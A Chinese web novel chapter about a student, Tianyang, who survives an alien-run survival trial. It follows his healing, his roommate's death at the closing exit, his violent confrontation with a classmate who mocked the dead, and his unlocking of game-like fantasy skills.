在这场生存考验落幕,监管者似乎情绪高涨了不少,特地给学生们是放了一个下午的假,刚好晚上也不用干什么,正好休息到第二天再继续。 几家欢喜几家愁。 在沈郢把天仰稳稳背在背上的同时,一辆白色的类似于救护车的车开了过来,一大群穿着白色救护服的监察生陆续下车,拦下沈郢等人。 沈郢戒备地看着他们,三个室友团团围在天仰的身边。 “我们是幸存者日常生活中心的救护组织,每位活下来的幸存者身上有伤都要在我们那里进行治疗,毕竟按你们人类的医学技术根本治不好这种伤口。请把幸存者转交给我们,避免起不必要的争执。”带队的救护人员话语中带着不少轻蔑,连一个眼神也没有赏给沈郢。 沈郢依旧警惕地看着他们,不愿意把天仰交出去。 守在一旁的降赐终于发话了:“他的生命正在流失,如果你不想他出事的话最好把他交给救护人员。” 沈郢听到降赐的话犹豫了一下,内心十分挣扎。 他当然也看到了天仰身上的伤口,但还是不想交给这种藐视人类的外星人,可事情好像根本没有他选择的余地。 降赐一个眼神,就让救护人员从沈郢手里带走了天仰。 紧接着,周围无关的人都撤离了。 沈郢不甘地看着救护车离开。 —— 幸存者日常生活中心是监管者创建给所有生存考验幸存下来的人类特地安排的暂居地,位于监管者居住层的下面。也就是监管者临时创建的时空,如同一艘巨型航母,装载着不少跟来地球执行任务的少数监管者和大量监察生。 规模极大,容纳程度高,且防御措施强,不受外来干扰。环境极好,各种生活设施健全,像什么医疗室,不同等级训练室,高等会议室......带来了极大的便利。最上面是第一层,从上往下依次递增。 幸存者日常生活中心便在第三层,是为了隔绝开外面未考验通过的人类,更好地管理幸存者而所临时创建的宿舍。 除了受过监管者系统认证的幸存者以外,任何人类都进不来。 幸存者想要进来也很容易,找个监管者或是监察生刷个脸就能进来。 “神渚医师,三层来了个受伤的幸存者,001大人指名让您过去。” “哦?就他也配请我过去。” 坐在值班室的男人神情冷漠地看了一眼恭恭敬敬的监察生,对他所说的话起了一丝兴致。 能令降赐亲自指名让他过去的究竟是什么人。 毕竟他可不是什么人都愿意治疗的。 “......”监察生颤颤巍巍地不敢动弹。 “开玩笑的,去就是了。” 神渚川珩慢条斯理地整理好手上的白手套,随手扯过一旁的纯白色风衣站起来,随着他的动作,如云飘逸的冰蓝色长发倾泻下来,散漫在腰间,同色泽的冰蓝色眸子异常冷漠,不近人情。 监察生兢兢业业地恭候这位医师出去,连头都不敢抬。 眼前这个医师可是HNR星战力排行第二的人,据说他不靠任何武器,也没有强化过任何身体素质,就能让敌人在短时间内死亡。 开什么玩笑谁敢对他不敬,更何况人家还是贵族里的神渚家族,还和排行第一的001是同一个家族出来的,关系还很好。 不过听说私底下还有一层暧昧的秘密关系,但同属一个家族的谁也不太好说破。要不是人家没心思当什么监管者,不然也绝对会是HNR星一把手。 川珩慢悠悠地到达了第三层,冰蓝色的眸子饶有兴致地打量着新建的幸存者日常生活中心。 早已在此等候的监察生赶忙迎上来:“神渚医师,人就在诊疗室里。” 川珩漫不经心地点点头,摆手让无关紧要的人出去。 他推开房门。 房间正中央摆着一张病床,周围几乎能有的设备都有了,看这样子就是提前精心布置好的,甚至这还是个单独病房。 “呵,比我待遇都好。”我都没有单独诊疗室。 川珩有些看不惯降赐这么大方的手笔。 可事实上,川珩如果是个正常工作的医生,那他肯定会有单独办公室。可他性子很随意,也不是什么人都愿意治疗,而且经常工作一半人就找不到了。上级也管不动他,久而久之就变成了随便他人爱来不来,就单川珩那层身份摆在那,谁也不敢动他。 冰蓝色的眸子焦距停留在病床上的人。 黑发少年安安静静地躺在床上,脸色如同雪一般地苍白,陷入了昏迷。身上到处是伤口,血已经止住了,但几乎没有一个地方是能看的。 虽然人正处于昏迷状态,但丝毫不影响少年颜值的观赏性,甚至在带上了血的气息后给人的感觉如同被尘封的天使,染上了世俗的羁绊,坠入凡间。少年的头发柔软地搭在枕头上,额前的刘海似乎过长,睁眼的话能半遮住眼眸,抵挡别人的视线。苍白的脸色在自身特殊气质的加持下仿佛渡上了一层金边,难以形容,如同不是这个世界的人一般。瘦弱的身躯似乎经历过什么,哪怕在睡梦中肩膀也微微蜷缩。血管在雪白的皮肤下异常明显,哪怕看上去还是未长大的模样,但长大以后绝对是个美男。 想到这,川珩忍不住发出一声轻笑。 似乎明白了为什么降赐会让他来这里。 川珩愉悦地勾起天仰的下巴,天仰的领口因为逃生而微微敞开,白嫩的脖颈似乎在暗示着什么。 川珩定定地看着他,指尖浮现出一道淡蓝色的光芒,唇角微动:“复原。” 刹那间,房间被一道深蓝的光芒笼罩,过了几秒后才消散。 床上的人一尘不染地躺着,身体上的伤口连同血迹一块消失了。 “看来受伤的还挺严重,低级生存考验有那么难吗?”川珩喃喃道。 天仰的睫毛微微颤抖,一睁眼便看到了一个冰蓝色长发的美男子眸色冷淡地盯着他,脑子有些发蒙。 “帅哥,留个联系方式。”见天仰醒了,川珩看着他的眸子有些痴迷。 这时,降赐刚刚推门进来听到的就是这句话,在看清他们的动作时脸色又沉了几分。 刚刚醒来的天仰:“???” 你对我难道一点解释都没有吗 似乎是想起川珩的某些属性,担心他搞错什么,所以降赐工作结束的第一时间便赶到这里,但没想到川珩还是误会了。 天仰一脸茫然地看着眼前的冰蓝色长发美男,又看了看突然出现的降赐,感觉脑子有些转不过来。 他不是活着到了终点了吗,明明听到了沈郢的声音怎么说按他的性子现在也应该出现在这里才对啊。 川珩也随着天仰的目光看过去,看到降赐时表情有些不满,好像在说你怎么敢的过来打扰我们。 降赐意味不明地挑了挑眉,大步走了过来,一把掀开川珩,对着天仰:“身上的伤都好了?还有哪里难受?” 虽然不知道发生了什么,但天仰对降赐的态度还是不错的:“都好了。” 降赐放心地点点头。 被冷落在一边的川珩好像终于发现了哪里不对劲,一个眼神示意降赐先跟他出去。 到了门口。 “他是谁?”川珩问道,想了想又觉得应该这样问:“他是你谁?” 降赐思索了一下,最后答道:“反正不是你想的那样。” “???”川珩:“我以为他是你给我找到相亲对象,结果就这?” 降赐沉默不语。 “你对我难道没有一点解释吗!”川珩格外心疼自己,难得看到的美男又没了。 门口,天仰探出一颗头,感觉自己似乎发现了什么奇怪的东西,但又不得不出来一下。 降赐和川珩同时看向他。 “那个,我......”天仰感觉此时的自己就快要社死了,但还是强行要把话讲完:“我想找一下我朋友,他应该很担心我。” 川珩面色古怪地看着他:“男朋友?” 天仰:“......”突然感觉心好累是怎么回事。 “我先带你出去。”降赐示意天仰跟着他。 川珩还想在争取下挖墙脚:“帅哥以后受伤记得来找我哦,感情上的伤也可以哦。” 天仰感觉此时的心情很难以言喻。 就好像三观被刷新了一遍的那种感觉。 等走远了,天仰才问道:“他是谁?还有,这里是哪?” 天仰在醒来的时候就注意到他所处的地方和正常的房间不大一样,说不清是哪里不一样,就是一种感觉在告诉他。而且,现在在走廊,他也更加确定了这里不可能是学校,哪怕装修得再好,学校也不可能有这么大的空间。更何况,这里的一切看起来十分高科技感,这让他想起来降赐说的HNR星。 “他是这里的医师,脾气不怎么样,你以后遇到他离远点就是了。”降赐一个问题一个问题地回答:“这里是我们临时创建的空间,其中第三层作为幸存者日常生活中心,平时幸存者都要住在这里,方便我们的管理。” 降赐又把幸存者日常生活中心完整地介绍了一遍。 天仰听完这些,脑子里唯一的想法就是,他被困在这个地方了。 思来想去,他问了一个很关键的问题:“生存考验的意义是什么,剩下的幸存者以后又要去哪里?” 降赐沉默一番后:“上面规定这些问题不能透露,只能说的是,地球人咎由自取,地球环境被破坏到连我们也无法修复。” 所以你们就是想筛选有资格活下去的人吗...... 这个问题天仰没有问出口,他知道降赐不会回答他。 “还有一件事。”降赐停顿了一下,接着说道:“你身为第一个幸存者,表现突出,按照规定,我们会奖励你一个特殊道具。” 天仰点点头。 “到时候你忙完再来我的房间找我拿,我住在201,你随时可以来找我。” 接着,降赐停下脚步,指了指眼前的门:“这是你的房间。” 301。 三楼的第一个房间。 可显然天仰的心思不在这:“我想找我朋友。” 规定上并没有说幸存者一定要待在这里,甚至找个监管者或是监察生刷个脸就能进来。除了每天晚上要按时回到这里就暂时没有别的什么了。 “好。”降赐先是带天仰去一层系统认证了一下:“你的行李也已经转移到这里了,找完人直接回来就行。” 天仰点点头,转身正要寻找出口。 “出口也是通过刷脸的方式传送出去。”降赐指了指胸前的玫瑰花。 天仰歪头看向那朵一直被降赐带在身上的玫瑰花,出于好奇,他不怕死地用手去碰了一下。 意料之中,降赐还是没有对他怎么样,反而将玫瑰花拿下来递到天仰面前。 系统认证成功—— 脑海里突然浮现了一个机械的声音。 在天仰即将消失的时候,降赐开口:“你是幸存者,监察生不会对你进行管束,但也不要过分招惹什么人。毕竟监察生和监管者并不是很喜欢地球人......” 天仰不知道怎么定义降赐这个人,他是监管者,很可怕,但他出手帮过自己,也没有对他怎么样。 他没有那么害怕他了。 —— 睁眼的瞬间,天仰就被传送到了寝室楼。 他站在寝室楼前,有点分不清现实,感觉这一切都很不真切。 好在他不是一个容易被感情左右的人,调整好情绪后,他看了看手机上的时间,已经晚上十点多了。 马上要到熄灯时间了。 天仰加快脚步,先回了一趟自己原来的寝室。 走廊外都是清一色的监察生,来来往往,一直在巡逻。看见天仰也没有太大反应,毕竟是第一个幸存者,他们也管不了。 天仰无视走廊上的监察生,动作迅速地来到寝室门口,敲了敲门。 桦烙开的门,见到天仰微微惊讶后,马上把他放进来。 “哎,天仰回来了?”躺在床上玩单机游戏的臻耀停了下来,问道:“怎么样,身上的伤都好了吗?” 下铺看书的林知秋也赶紧放下手机,追问道:“他们有没有对你干什么?没有伤害你吧?” “早上救护车直接把你拉走了,吓了我们一大跳,还有你那个朋友,看你被抬走之后那个表情简直要把那群人干掉一样......”桦烙还是跟往常一样,一开口就停不下来。 天仰:“......我们一个个来说。” 你那个朋友很担心你 “我没有怎么样,我醒来的时候身上的伤都好了,连疤都没有了。” “监管者没有对我干什么,里面还有个医生,就是他帮我治好的,并没有伤害我。” “总之来说我没事,你们不用担心。桦烙还有什么要说的吗?” 天仰一口气回答完了所有问题,准备待会直接跑到沈郢他们那个楼去。 “没,没了......你那个朋友很担心你,你赶紧过去吧。”桦烙难得停下了长篇大论。 天仰点点头,准备再交代几句:“我那边的事我以后再给你们讲,不用担心我。还有你们的生存考验是移到明早去了对吧,把所有能带的东西都带上,进去之后不要太紧张,那种茂盛的草丛不要走,多留心周围,看到森林直接进去到最里面会有一棵树下藏着个洞,看起来像个捕猎机关,直接进去......” 等天仰把生存要点讲完一遍后,就匆匆离开。 三个室友也理解他,便好好消化一下天仰说的重点,在寝室又搜刮了些不知道也没有用的道具出来。 另一栋寝室楼。 天仰蹭蹭蹭地爬上最高楼,已经累得喘不过气,忽然想到为什么不用手机叫沈郢出来就好了。 懊恼了一下,还是赶紧去找沈郢的寝室。 敲门。 天仰焦急等待了一会儿门终于开了。 似乎是在畏惧门口那些监察生,只开了一点点门缝,在看到来人后惊讶地脱口而出:“天......” 就被突然飞奔而来的沈郢推到一边去。 “......”天仰一脸麻木,早就对沈郢这个看起来仙风道骨,行为作风却风风火火的朋友雷到了。 沈郢一把拖住天仰将人拉进来,给人一个紧紧的拥抱,完了又仔仔细细把人检查了一遍,确认无误后才开口:“嗯,你没事就好。” 寝室其他三个也早已对沈郢麻木,继续做自己的事情。 我还什么都没说呢。 好在天仰已经习惯了沈郢的作风。 沈郢紧张地问他:“你这样跑出来不会有什么事吧,需不需要我帮你警告一下他们。” “没事没事,你别操心了,我平时是可以随意进出的,他们不会对我怎么样,而且我是幸存者,很多规矩对我来说可有可无,只要我不惹事就没人会对我怎么样。”天仰安抚着他,恨不得现在就带沈郢去看一下自己生活的地方,让他彻底安心。 “那就行。”沈郢放心了不少,但还是随时打算为了天仰去找监管者什么的好好聊一聊。 “我现在不住在寝室了你知道的吧,以后要找我,你可以写信,随便交给一个监管者或者监察生就可以寄给我了。我不知道进了那个时空,手机信号还能不能用。” 沈郢沉思了一下,看上去仿佛在想让天仰带个信号接收仪什么的回去的可怕样子。 天仰赶紧打断了他:“不要担心了,你还不放心我吗。好了,你们熄灯时间也要到了,我就先走了。下次找个时间我交代你一些事情,不要多想。” “好,你也赶快回去吧。有什么事一定要跟我说。”沈郢陪着天仰走下寝室楼,目送他离开。 夜幕之中,似乎有什么人停留在路口。 沈郢眯了眯眼睛,看不太清,不过他清楚地看见天仰停了下来。 “额,晚上好?”天仰看着眼前的人有些说不出话来的。 降赐轻点了一下头,细细打量着眼前的少年。 似乎在经过川珩的治愈后,少年的五官更加精致了些,隐隐好像有了些什么变化。 “走吧,我送你回去。”降赐也不再耽搁时间,想让他早点回去休息。 天仰倒是不知道降赐的心思,只觉得背上不断发麻,他知道沈郢送他走的时候会习惯目送他到消失。 所以在看到降赐这么个人,以后可能会来找他的麻烦。 想了想,降赐帮他了不少忙后,天仰慢慢往降赐的面前移,试图挡住他。 可降赐的身高也不是盖的,光是头就比他高了一大截。 避免波及到降赐,天仰赶紧对着玫瑰花扫了一下脸,想要赶紧回到那个什么中心。 降赐也不多问,直接开放了权限。 天仰扫了一下脸,马上消失了。 远远地,降赐和寝室楼下的沈郢对了一眼,也转身消失了。 —— 天仰一回来就被传送到了第三层大厅,脚步匆匆地进去寝室,把自己关了进去,生怕被人注意到,比如那个奇奇怪怪的医生。 整个第三层基本上只有他一个人住,毕竟他是第一个活下来的幸存者。 对了,那个道具还没找降赐要,万一之后沈郢用得到呢...... 想了想,天仰打算明天就去找降赐,早点拿到还能早点学会怎么使用。 打开灯的那一刹那,天仰被恍得有点睁不开眼。 房间不大,甚在干净,是那种一室一厅的小居室,一个人住刚刚好。进来是玄关处,旁边有一个鞋架子。往里走就是小客厅了,只有一个双人沙发,和一张玻璃桌。房间进去以后,墙整体刷成了天蓝色,家具也是清一色的调调,中间摆着一张大床,两边是床头柜,一面靠窗,一面都是大大小小的柜子。地上是他的行李箱,和一些零零散散的东西。房间里还有一个小小的浴室,不大,刚好能冲澡。屋子里点着熏香,看起来虽然没有住人,但很整洁。 天仰感觉还行,左右他也不是挑剔的人,就稍微整理了一下东西,就拿好衣服去浴室洗澡了。 磨磨唧唧地洗完澡,天仰困得眼睛发酸,在房间里兜了一圈也没有看到能洗衣服的地方,甚至连洗衣机也没有。 天仰抱着装旧衣服的盆呆滞了一会儿,还是忍不住睡意,便随手搁旁边去了。 来到床上直接倒下去,也顾不上盖被子。 明天是他们专业的生存考验,他得早点起来才行,实在很不放心那几个家伙。 “哈欠——” 天仰脑子一阵迷糊,但还是本能地拿过手机,确定沈郢没有再发来任何消息后,定了个闹钟就睡着了。 血垒珠在黑暗之中散发着幽幽光芒,似乎在吸收着主人的气息。 天仰仿佛又知道了什么不得了的东西 次日。 天仰被闹钟吵醒的时候一阵头疼,不知道是什么原因,有些萎靡不振的情绪涌了上来。 他赶紧去浴室接了一捧水洗洗脸,试图让自己快点清醒过来。 八点整。 操场上已经遍布了不少人,学校里为数不多的学生和密密麻麻的监察生,还混杂着几个监管者在浑水摸鱼。 天仰到的时候,他们专业已经排好了队,在等着进去。 作为唯一一个幸存者,天仰不受监察生管理,自由的在人群里穿梭,甚至能直接站在生存考验的入口前跟人聊天。 桦烙一脸兴奋地凑过来:“哎天仰昨晚睡得怎么样,那里的环境怎么样,怎么感觉你很没精神的样子......” 林知秋一把推开桦烙的脸:“别理他,一激动话痨的毛病又犯了。” “就是,我们还是来讲点有营养的问题吧。”臻耀一副跃跃欲试的模样。 天仰:“......” “怎么感觉你们都不会很紧张???甚至还有点亢奋是怎么回事?” 天仰突然丧失了跟他们多讲点的动力。 “怎么会呢,我们可是做好了充足的准备,信心满满。”臻耀话里藏着不少骄傲的情绪。 “好像到你们了......”天仰有些无心交谈,指了指已经开的门:“你们差不多可以进去了,小心点。” 室友们:“别担心,你在外面自己注意点。” 说完话,室友们便一个个进去了。 天仰依旧有些不放心,但门口执勤的不是001,也不是002。 应该也是一个监管者。 天仰四周转了转,兜了一圈,一个认识的监管者也没有看到,顿时有些纳闷。 看了看薄膜里已经消失不见的室友,他决定趁现在回去一趟。 跟出来的时候一样,他随便叫了一个看起来不会很冷淡的监察生,刷了个脸,便回到了幸存者日常生活中心。 201。 天仰轻轻敲了敲门,不敢多看附近的房间。 过了很久,降赐才敞开了一点门,一副精神不好的样子,有些疲惫。 正当天仰要说什么的时候,房间里传来了一声很酥麻的声音:“快来睡觉啊,这才几点......” 嗯? 天仰仿佛又知道了什么不得了的东西。 降赐很快说了一句:“稍等。” 便猛地关上门。 真神奇...... 天仰简直没想到降赐竟然会和别人一起睡觉,而且竟然还是个男的!而且听声音好像还是昨天那个医生!! 监管者的生活真乱...... 足足过了十来分钟,就在天仰打算下次再来拜访的时候,门终于开了。 “久等了。”降赐态度很好地把天仰迎进来。 合上门的第一句就是:“刚才的事不要想太多,他只是来治疗的。” 天仰沉默了几秒,保持想捂脸的冲动,替人尴尬的毛病又犯了。 你这样解释显得更加欲盖弥彰了喂! “没事。”但他表面上还是淡定得一批。 降赐对此也没有继续解释下去的意思,也没有邀天仰进来坐一下的样子。 当然天仰也没有这个想法,只想赶紧拿一下东西赶紧走。虽然说里面看上去好像没人的样子,但谁知道这种事会不会杀人魔口呢! 天仰安安静静地站在玄关处,表情滴水不漏地主动提起:“那个道具......” 降赐明白似的让他在原地等会,回房不久便出来了。 “这个是便携空间环,用来储存东西,什么都可以放进去,戴在耳朵上就可以认主了。” “另一个是无限形态盒,别腰上。只要你想,从里面拿出什么形态的武器都可以,盒子上还有几个形态模具,你可以照着去想。不过一次性只能拿出一件武器,想要切换再放回去就行。跟血垒珠一样,都是用主人的气血来养的。” 降赐解释完便将手里的两个道具给天仰。 大小都不大,很方便携带,便携空间环充其量就是个耳钉,无限形态盒也只有一个手掌大小。 可天仰对此只有一个问题:“为什么有两个?” “一个是生存考验奖的,另一个是私人单独的奖励。” “私人?” “对。” “又是你给我的?” “你也可以这么想。” “......” 天仰突然想问他怎么会对自己这么照顾,但想到房间里应该还有什么人在,还是止住了,换了个问题:“房间里没有洗衣机怎么洗衣服。” 降赐有些出乎意料地看着他:“墙上应该会有个装置,收纳衣服的地方,过一会就洗完烘干了。” 并表示要不要帮忙去看看。 天仰了解完之后迅速道别降赐,麻溜地离开。 留下降赐一个人有些凝固在原地。 这时房间里冒出一个人来:“你干嘛不直接说我们是来通宵玩游戏的?这样他多误会我......呃,你......” 川珩在说话的时候,降赐一个眼神已经杀过来了。 这时002也探了个头出来:“呃,,,要不我去跟他说说......保证他不会误会。” 降赐对此已经不想说什么了,他的房间是在单独的另一个时空里,覆盖了大概三层楼,设施都很齐全,几乎什么都有。川珩特别喜欢里面一个游戏房,一玩就是翘一天的班,甚至还拉着002一起来双人游戏。理由是002也是个帅哥,虽然不耐看,但发展一下还是可以。 002又畏于川珩是神渚家族的不好得罪,而且私底下也很喜欢玩游戏,加上川珩技术也不赖,虽然是贪图他的美色,但为了上分还是来了。 竟没想到还会被天仰误会,要是知道会发生这种情况,降赐肯定不会让他们两个进来玩。 “哎呀你想那么多还不如直接去跟他说呢,而且我也觉得老珩那个声音确实骚了点......”002看着降赐的脸越来越黑,赶紧想办法支招。 “你那么中意他,把事情说清楚了我们也好继续来打游戏...啊不是,你也好继续接近他啊......”川珩也不断开解降赐,希望对方不会把责任推脱到自己身上,虽然说这样他也不会怕他,但很不方便他打游戏啊! 降赐已经不想再跟他们说什么了,思考一阵后,还是觉得应该去一趟天仰的房间。 25. 生命面前,人人平等 天仰回到自己的房间,才发现时间已经拖了很久了,墨迹了一会儿打算先去操场上看看情况。 这个点他们已经差不多要打开出口了。 至于这两个道具...... 耳钉是银制的,只有一个,是那种可以扣在耳朵上的,平时是透明的,只有拿下来时才能看见。无限形态盒子虽然不大,但不太搭他身上的衣服,显得有些奇怪。 天仰索性将耳钉带上,把盒子放了进去。 便匆匆赶去了操场。 “请幸存者注意,一小时考验时间已到,出口已经开启,请幸存的人在十分钟内赶到出口,否则将被淘汰。” 广播再一次响彻整个学校,还没有经历考验的同学表情逐渐麻木,对周围环境不闻不问,有的甚至连哭了好几天晕了过去,最后被抬去了医护室。不过大部分人都对此没有太大反应,毕竟这些天看着里面逃生的人的惨状,精神的摧残让他们没有一点希望。 更何况进去了那么多个班了,只活下来了一个。 这是什么概念,难道还不清楚吗? 根本没有生的希望。 精神的崩溃在人心里又埋下了一颗种子,谁都想活下去,可机会是渺茫的。 薄膜出口处,只站着两三个穿着白色救护服的监察生,连救护车担架什么的也没有准备,似乎根本不觉得有多少人能活下来。 今天执勤的是004,他百无聊赖地站在原地掐着时间,时不时看一眼那位唯一的幸存者在薄膜门口瞎晃悠,又碍于跟自己不熟的样子没有过来等。 就在004在心里倒数最后一分钟时,唯一的幸存者突然凑上前来。 “请问我是不是不能跟还没考验的人进去?” 004中规中矩地回答:“是的,为防止作弊幸存者严禁进入别人的考场。” 唯一的幸存者听到了他说的话,便一副陷入沉思的样子。 安静地站在他旁边。 004不由得多瞅了他一眼,这人确实长得挺好看的。 天仰静静地站在原地等候,这都快要结束了还是没有一个人出来。 薄膜里悄无声息,似乎已经没有任何生命体。 与此同时另一边,臻耀背着已经失去意识的桦烙,被林知秋拉着夺命狂奔。他们不巧在从安全洞出来的时候惹上了一头不知道什么东西的怪物,桦烙则是在一开始碎碎念太久了,路边的马蜂听到觉得烦,便把他给蛰了。 臻耀力气很大,背着桦烙的同时还能顺便听到草丛里有人呼救,不怕死地过去拉了一把,看见是个人,才担心了一下刚刚。 林知秋已经跑得眼前一片白茫茫,身为一个只会死读书的学生,在体育这一方面根本不行! 好在他们已经要到出口了。 似乎是他们带动了躲在哪里的幸存者,有一小批人也跟着一起跑出来了,看见林知秋他们引来的怪物,脚底一软差点滑倒,但还是迅速调整好心态狂奔。 出口。 004看着那么多幸存者突然出现,有些惊讶,大脑马上反应过来叫了一批救护人员。 一个又一个幸存者飞奔到了终点,冲出了薄膜,004被这难得的一幕惊呆了,也就忘了他还在计时。 天仰内心也慌得一批,他已经看到林知秋他们几个了,正想着要不要没事找事跟监管者尬聊一下争取时间。 可,有人注定存在不满。 凭什么前面死了那么多人,就你们活那么多。 就在这时,天仰听到另一边有几个女生在喊:“超时了——超时了啊!!!” 天仰的火气直接涌上来,狠狠地瞪了一眼那个专业的女生,学着沈郢当时直接闯进去的做法,可刚触碰到薄膜,他仿佛被什么东西阻隔在了外面。 004像是突然想起的样子,看了眼表,准备关闭出口。 就这短短一瞬间,冲出来了不少人。 林知秋也在那个瞬间到达了出口,他已经什么都看不见了,听到后面臻耀跟他喊了一句:“接住桦烙!” 桦烙便被搪塞到了他的身上。 林知秋看不见后面发生了什么,眼前一黑,他失去了意识。 林知秋看不见不代表其他人看不见,臻耀在出口即将要关闭的时候猛地把背上的桦烙丢了出去,而自己和剩下的人,被困在了里面。 后面是刚才他们意外引来的怪物,跑得比较慢的被扑倒在地,臻耀一个闪身从出口前跑开,顺着森林再一次跑了进去。 可这回只有他一个人。 天仰自己在里面的时候也很害怕吧...... 臻耀咽了咽喉咙里不断翻涌上来的血腥味,消失在人们的视野中。 天仰抱着失去意识的林知秋和桦烙,呆呆地说不出话来。 其他被臻耀顺便救了一把的人也呆滞住了,下意识想再冲回去拉臻耀一把。 可是出口已经关闭了。 天仰的心凉了一大截。 那可是他的室友啊,这么说也一起住了那么久,多少带点感情。一个活生生的人就这样没了...... 换做其他不认识的已经死的人,天仰没有什么感觉,只有当自己身边的朋友出事,他才会有反应。 比如现在,他想去把刚才那几个瞎几把喊的女生打一顿。 同专业幸存下来的几个同学,当然也听到了刚才那些女生喊的话,但身体有些支撑不住,没法去找那些女生教训一顿,便带着怒气晕了过去。 天仰当然没有被气晕,他当机立断把林知秋和桦烙塞给前来救护的医护人员,然后朝着那些女生走过去。 就天仰这张脸,再配上冷漠的表情,以及他是第一个幸存者,在学校里是出了名的。 不少对生还有想法的人想打听他是怎么活下来的。 天仰板着一张脸走到了那个专业前。 监察生自然是不会多管的。 几个女生凑在一起,还是不知错,语气嘲讽道:“怎么,时间到了就是时间到了,再给多少时间他们也出不来。死就死了,反正前面都是那么多人了,还差这几个吗!” 女生说出的话嗤嗤逼人,一点也没有悔改之意。 跟她们同专业的几个男生显然不认同她们的话,默默离远了些。 天仰没有说什么,脸上没有任何表情,但看起来就是很可怕。 女生虽然害怕,但刚才喊话的又不止她一个,背后还有几个小伙伴,说的话便更变本加厉:“出不来是他们没本事,怎么能赖我们身上,又不是我们堵门口不让他们出来的。更何况......更何况,前面死了那么多人,凭什么你们活下来那么多!这不公平!” 天仰想都没想就甩了一巴掌过去。 空气中有一丝凝固。 女生呆呆地看着天仰,丝毫没有想过这样一个男生竟然会打女生。 天仰也没有过多的表示,但脸上隐隐出现了不耐烦。 女生突然歇斯底里地冲他喊道:“你居然敢打我?” 天仰淡漠的脸上隐隐有些嘲讽,动了动嘴角:“生命面前,人人平等。你们又算什么东西?” 就算打女生又怎么样,天仰对此没有任何感想,他甚至觉得应该直接把这些人打一顿。相信之后班上的人醒了以后也会是这个想法。 没有经历过生死的人没资格谈论生死。 天仰厌厌地看着她,再一次出手后,女生直接被他掐住了脖子,慢慢地举了起来。 周围人看到这一幕纷纷后退,生怕波及到自己。 监察生注意到这里的情况,上前说了一句:“禁止杀人,幸存者也不行。” 天仰冲监察生笑了笑:“怎么会让她死得那么轻松呢。” 女生听到这句话疯狂地挣扎着,只可惜被扼住了脖子,十分无力。 天仰嘲讽道:“怎么样,感受到死亡了吗?” 手上的力度越来越重。 就在女生即将要缺氧而死时,天仰突然松开了手,没什么心情地离开了。 —— 天仰有些说不上来的感觉,情感这方面他跟正常人不大一样,他对别人的情感好像总是被什么东西糊住,越来越不真切,似乎只要不是发生在自己身上就行了。 可是,越来越多的人让他有了一种真实的感觉。 臻耀死了。 他知道自己该很难过,但他只感受到了对那几个女生的愤怒。 说到底,他还是不了解他的心。 就像胸前一直隐隐作痛的伤疤,他也不知道是怎么回事。 天仰心情低沉地回到了第三层,看到了站在他房间门口的降赐,他有一瞬间愣住,却猛然想起对方是个什么身份,便擦肩而过。 “以后别来找我了......” 说不来的落寂感。 降赐脑子里突然闪过一句002经常说的话:玩大发了...... 他今天没有去过外面,所以也不知道发生了什么事。 天仰在开门的时候被降赐一把捉住了手,对方问道:“发生了什么事和我说说。” 天仰沉默了一下,脑子乱糟糟的,默默推开降赐的手,道:“今天没什么心情,下次再说吧。” 便关上了门。 这道门仿佛将两个人的心一同隔开了。 听着外面离开的脚步声,天仰有些许颓废,就地直接坐下。 他想着,接下来还有什么事要做,可就是提不起精神...... 开一个简短的会 无限形态盒还没有尝试过,还没跟沈郢说说怎么逃,他的身体素质还得增强一下...... 而且,幸存者被集中在这里,之后肯定会发生什么。等所有人筛选完一遍后,剩下的就是幸存者了。 所以在那之前,他得提高身体素质。 天仰把玩着无限形态盒,心里把所有事情过了一遍,觉得轻松了一些。 他不敢去想臻耀的意外死亡,只能去做点什么转移注意力。 这时他忽然想起,在第三层有看到一个低级训练室,想去那里尝试一下。趁着这里暂时只有他一个人,用无限形态盒看到也没事。 这般想着,他便很快到达了训练室。 天仰把第三层摸索了一圈,发现了很多新奇的东西。 比如这里有武器锻造池,技能训练室,装备改造屋等等很多稀奇古怪的小房间。最有意思的是一间私人训练室,只要在里面登记一下名字,就能获得一间自己的训练室,而且里面什么都有,包括外面的那些屋子。 机会难得,还有限制数量。 天仰想都没想就登记了。 【编号001幸存者天仰登记私人训练室成功】 一道机械女音出现在他的耳边,他下意识地摸了摸耳朵,发现是从耳钉里发出的,这个大小的声音只有他能够听到。 天仰刷脸进入私人训练室后,又一道系统声音出现。 【编号001幸存者天仰进入私人训练室,请选择是否将训练室连接至幸存者宿舍】 连接到宿舍? 那么以后就省得跑出来了。 天仰在心里默念。 是。 【训练室连接成功】 【下午好,001,我是便携空间环内的系统】 【训练室功能已开启】 【在选择您要的服务前,请确定您的天赋作为发展方向】 天赋? 天仰大概知道这是个什么东西,但不明白的是为什么要确定这种东西,发展方向对以后有什么用。 【天赋是您自身决定的,选择好后系统会将技能传送至您的脑内,为自己增强战斗力】 天仰想了想:天赋有什么? 【依据个人喜好选择,更有利于未来发展。】 【系统可自动检测天赋数据最高的一项,是否检测?】 天仰:是。 【系统检测中......】 【检测结果,幻想力,您的天赋幻想力初始值达到78%】 幻想力? 这数值还提高的。 天仰脑海里快速过了一遍自己的想法,可他没什么感觉自己有幻想。 但是这个初始值很高...... 天仰:这个天赋的技能是什么? 【系统查询中......】 【幻想力基础技能有:幻术、疗愈术、虚物化实、控制术、迷惑术等】 【由于幻想力先者只有少数,开拓的技能少】 【幸存者可依靠自身能力创造新的技能】 这样听起来好像还不错,至少数据很高,就算不会用,升到满也会很强。 不如就这个好了,反正自己还有那个神奇的武器盒,战斗应该不会太难。 【天赋选择成功,基础技能正在导入】 天仰眼前闪过一道白光,脑子里像是被塞进了什么东西,非常清晰,非常清楚,任它进入到身体的每一个地方。 【基础技能导入成功】 天仰此时觉得身体里蕴含着非比寻常的力量,就好像轻而易举就能掌握。 “幻影迷踪。” 天仰不受控制地念出了这句话,四周仿佛有千万道影子滑过,却不见踪影。 这时系统贴心地放出了一只怪物让天仰测试自己的技能。 “围剿。” 天仰发号施令。 刹那影子围住了怪物,无数道影子扑面而来,剿灭了怪物。 【编号001幸存者天仰天赋幻想力数值提升至79%】 【请注意,天赋达到90%将达到瓶颈期】 过了很久,天仰才像是缓过来的样子,扫了一眼面前的战况,垂眸思考着什么。 “系统,有没有这个道具的使用说明?” 天仰把无限形态盒拿出来。 【系统查询中......】 【查询到无限形态盒的使用说明,及天赋配套的方法】 【是否导入】 “是。” 天仰再次被白光包围,缓缓闭上眼在脑子里把技能都过了一遍。 再度睁开眼,系统提示: 【编号001幸存者天仰感悟提升,天赋幻想力数值提升至80%】 天仰有些意外,但对这个意料之外的数值提升很满意。 似乎是一次性导入太多技能,有点犯困。 